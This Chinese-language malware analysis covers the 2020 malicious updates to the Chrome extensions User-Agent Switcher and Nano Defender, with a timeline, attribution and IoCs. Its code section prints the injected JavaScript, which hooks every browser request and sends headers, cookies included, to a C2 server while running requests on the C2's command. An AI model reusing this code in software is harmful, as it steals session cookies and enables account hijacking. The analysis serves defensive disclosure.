作者:gaoya@360高級攻防實驗室
原文鏈接:http://noahblog.#/ua-switcher/

概述

近日,有reddit用戶反映,擁有100k+安裝的Google Chrome擴展程序 User-Agent Switcher存在惡意點贊facebook/instagram照片的行為。

img

除User-Agent Switcher以外,還有另外兩個擴展程序也被標記為惡意的,并從Chrome商店中下架。

目前已知受影響的擴展程序以及版本:

  • User-Agent Switcher
  • 2.0.0.9
  • 2.0.1.0
  • Nano Defender
  • 15.0.0.206
  • Nano Adblocker
  • 疑為 1.0.0.154

目前,Google已將相關擴展程序從 Web Store 中刪除。Firefox插件則不受影響。

影響范圍

Chrome Webstore顯示的各擴展程序的安裝量如下:

  • User-Agent Switcher: 100 000+
  • Nano Defender: 200 000+
  • Nano Adblocker: 100 000+

360安全大腦顯示,國內已有多位用戶中招。我們尚不清楚有多少人安裝了受影響的擴展程序,但從國外社區反饋來看,安裝相關插件的用戶不在少數,考慮到安裝基數,我們認為此次事件影響較為廣泛,請廣大Chrome用戶提高警惕,對相關擴展程序進行排查,以防被惡意組織利用。

國外社區用戶研究者報告了User-Agent Switcher隨機點贊facebook/Instagram照片的行為,雖然我們目前還沒有看到有竊取密碼或遠程登錄的行為,但是考慮到這些插件能夠收集瀏覽器請求頭(其中也包括cookies),我們可以合理推測,攻擊者是能夠利用收集到的信息進行未授權登錄的。為了防止更進一步危害的發生,我們在此建議受影響的Chrome用戶:

  • 及時移除插件
  • 檢查 Facebook/Instagram 賬戶是否存在來歷不明的點贊行為
  • 檢查賬戶是否存在異常登錄情況
  • 修改相關賬戶密碼
  • 登出所有瀏覽器會話

Timeline

  • 8月29日,User-Agent Switcher 更新 2.0.0.9 版本
  • 9月7日,User-Agent Switcher 更新 2.0.1.0 版本
  • 10月3日,Nano Defender作者jspenguin2017宣布將 Nano Defender 轉交給其他開發者維護
  • 10月7日,reddit用戶 ufo56 發布帖子,報告 User-Agent Switcher 的惡意行為
  • 10月15日,Nano Defender 更新 15.0.0.206 版本,同時:
  • 有開發者報告新開發者在商店中更新的 15.0.0.206 版本與repository中的代碼不符(多了background/connection.js
  • uBlock開發者gorhill對新增代碼進行了分析

代碼分析

User-Agent Switcher

影響版本:2.0.0.9, 2.0.1.0

修改文件分析

User-Agent Switcher 2.0.0.8與2.0.0.9版本的文件結構完全相同,攻擊者僅修改了其中兩個文件:js/background.min.jsjs/JsonValues.min.js

img三個版本文件大小有所不同

img文件結構相同

background.min.js

js/background.min.js 中定義了擴展程序的后臺操作。

img攻擊者修改的部分代碼

完整代碼如下所示。

// 完整代碼
// 發起到 C2 的連接
var userAgent = io("https://www.useragentswitch.com/");
async function createFetch(e) {
    let t = await fetch(e.uri, e.attr),
        s = {};
    return s.headerEntries = Array.from(t.headers.entries()), 
           s.data = await t.text(), 
           s.ok = t.ok, 
           s.status = t.status, 
           s
}
// 監聽“createFetch”事件
userAgent.on("createFetch", async function (e) {
    let t = await createFetch(e);
    userAgent.emit(e.callBack, t)
});
handlerAgent = function (e) {
    return -1 == e.url.indexOf("useragentswitch") && userAgent.emit("requestHeadersHandler", e), {
        requestHeaders: JSON.parse(JSON.stringify(e.requestHeaders.reverse()).split("-zzz").join(""))
    }
};
// hook瀏覽器請求
chrome.webRequest.onBeforeSendHeaders.addListener(handlerAgent, {
    urls: ["<all_urls>"]
}, ["requestHeaders", "blocking", "extraHeaders"]);

1234567891011121314151617181920212223242526

攻擊者添加的代碼中定義了一個到 https://www.useragentswitch.com 的連接,并hook了瀏覽器的所有網絡請求。當url中未包含 useragentswitch 時,將請求頭編碼后發送到C2。除此之外,當js代碼接收到“createFetch”事件時,會調用 createFetch 函數,從參數中獲取uri等發起相應請求。

由此我們推測,如果用戶安裝了此插件,C2通過向插件發送“createFetch”事件,使插件發起請求,完成指定任務,例如reddit用戶提到的facebook/instagram點贊。攻擊者能夠利用此種方式來獲利。

img插件發起的網絡請求(圖片來自reddit)

在處理hook的請求頭時,js代碼會替換掉請求頭中的 -zzz 后再發送,但我們暫時無法得知這樣操作的目的是什么。

User-Agent Switcher 2.0.0.9 和 2.0.1.0 版本幾乎相同,僅修改了 js/background.min.js 文件中的部分代碼順序,在此不做多述。

JsonValues.min.js

js/JsonValues.min.js 中原本為存儲各UserAgent的文件。攻擊者在文件后附加了大量js代碼。經過分析,這些代碼為混淆后的socketio客戶端

img攻擊者添加的js代碼

Nano Defender

影響版本:15.0.0.206

在Nano Defender中,攻擊者同樣修改了兩個文件:

background/connection.js
background/core.js

12

其中,background/connection.js 為新增的文件,與User-Agent Switcher中的 js/JsonValues.min.js 相同,為混淆后的socketio客戶端。

core.js

background/core.js 與User-Agent Switcher中的 js/background.min.js 相似,同樣hook瀏覽器的所有請求并發送至C2(https://def.dev-nano.com/),并監聽dLisfOfObject事件,發起相應請求。

imgbackground/core.js 部分修改代碼

與User-Agent Switcher不同的是,在將瀏覽器請求轉發至C2時,會使用正則過濾。過濾原則為C2返回的listOfObject,如果請求頭滿足全部條件,則轉發完整的請求頭,否則不予轉發。

可以看出,攻擊者對原本的轉發策略進行了優化,從最初的幾乎全部轉發修改為過濾轉發,這使得攻擊者能夠更為高效地獲取感興趣的信息。

同樣地,core.js在發送請求頭之前,會刪除請求頭中的-zzz字符串。只是這次core.js做了簡單混淆,使用ASCII數組而非直接的-zzz字符串。

var m = [45,122,122,122]
var s = m.map( x => String.fromCharCode(x) )
var x = s.join("");
var replacerConcat = stringyFy.split(x).join(""); 
var replacer = JSON.parse(replacerConcat); 
return { 
    requestHeaders: replacer 
} 

12345678

uBlock的開發者gorhill對此代碼進行了比較詳細的分析,我們在此不做贅述。

Nano Adblocker

影響版本:未知

盡管有報告提到,Nano Adblocker 1.0.0.154 版本也被植入了惡意代碼,但是我們并沒有找到此版本的擴展程序文件以及相關資料。盡管該擴展程序已被下架,我們仍舊無法確認Google商店中的插件版本是否為受影響的版本。第三方網站顯示的版本歷史中的最后一次更新為2020年8月26日,版本號為1.0.0.153。

imgNano Adblocker 更新歷史

版本歷史

由于各插件已被Google下架,我們無法從官方商店獲取插件詳情。根據第三方網站,User-Agent Switcher 版本歷史如下:

img

可以看到,第一個存在惡意功能的插件版本2.0.0.9更新日期為2020年8月29日,而插件連接域名useragentswitch[.]com注冊時間為2020年8月28日。

img

第三方網站顯示的 Nano Defender 版本歷史顯示,攻擊者在2020年10月15日在Google Web Store上更新了15.0.0.206版本,而C2域名dev-nano.com注冊時間為2020年10月11日。

img

關聯分析

我們對比了User-Agent Switcher和Nano Defender的代碼。其中,js/background.js (from ua switcher)和background/core.js (from nano defender) 兩個文件中存在相同的代碼。

img左圖為ua switcher 2.0.0.9新增的部分代碼,右圖為nano defender新增的部分代碼

可以看到,兩段代碼幾乎完全相同,僅對變量名稱、代碼布局有修改。此外,兩段代碼對待轉發請求頭的操作相同:都替換了請求頭中的-zzz字符串。

img左圖為ua switcher 2.0.0.9,右圖為nano defender

由此,我們認為,兩個(或三個)擴展程序的始作俑者為同一人。

Nano Defender新開發者創建了自己的項目。目前該項目以及賬戶(nenodevs)均已被刪除,因此我們無法從GitHub主頁獲取到有關他們的信息。

攻擊者使用的兩個域名都是在插件上架前幾天注冊的,開啟了隱私保護,并利用CDN隱藏真實IP,而他們在擴展程序中使用的C2地址 www.useragentswitch.comwww.dev-nano.com 目前均指向了namecheap的parkingpage。

img

img圖片來自360netlab

Nano Defender原作者稱新開發者是來自土耳其的開發團隊,但是我們沒有找到更多的信息證實攻擊者的身份。

小結

攻擊者利用此類插件能達成的目的有很多。攻擊者通過請求頭中的cookie,能夠獲取會話信息,從而未授權登錄;如果登錄銀行網站的會話被截取,用戶資金安全將難保。就目前掌握的證據而言,攻擊者僅僅利用此插件隨機點贊,而沒有更進一步的操作。我們無法判斷是攻擊者本身目的如此,或者這只是一次試驗。

竊取用戶隱私的瀏覽器插件并不罕見。早在2017年,在v2ex論壇就有用戶表示,Chrome中另一個名為 User-Agent Switcher 的擴展程序可能存在未授權侵犯用戶隱私的惡意行為;2018年卡巴斯基也發布了一篇關于Chrome惡意插件的報告。由于Google的審核流程并未檢測到此類惡意插件,攻擊者仍然可以通過類似的手法進行惡意活動。

IoCs

f45d19086281a54b6e0d539f02225e1c -> user-agent switcher 2.0.0.9 6713b49aa14d85b678dbd85e18439dd3 -> user-agent switcher 2.0.0.9 af7c24be8730a98fe72e56d2f5ae19db -> nano defender 15.0.0.206 useragentswitch.com dev-nano.com

References

https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/

https://www.reddit.com/r/cybersecurity/comments/jeekgw/google_chrome_extension_nano_defender_marked_as/

https://github.com/jspenguin2017/Snippets/issues/5

https://github.com/NanoAdblocker/NanoCore/issues/362

https://github.com/partridge-tech/chris-blog/blob/uas/_content/2020/extensions-the-next-generation-of-malware/user-agent-switcher.md

https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1710/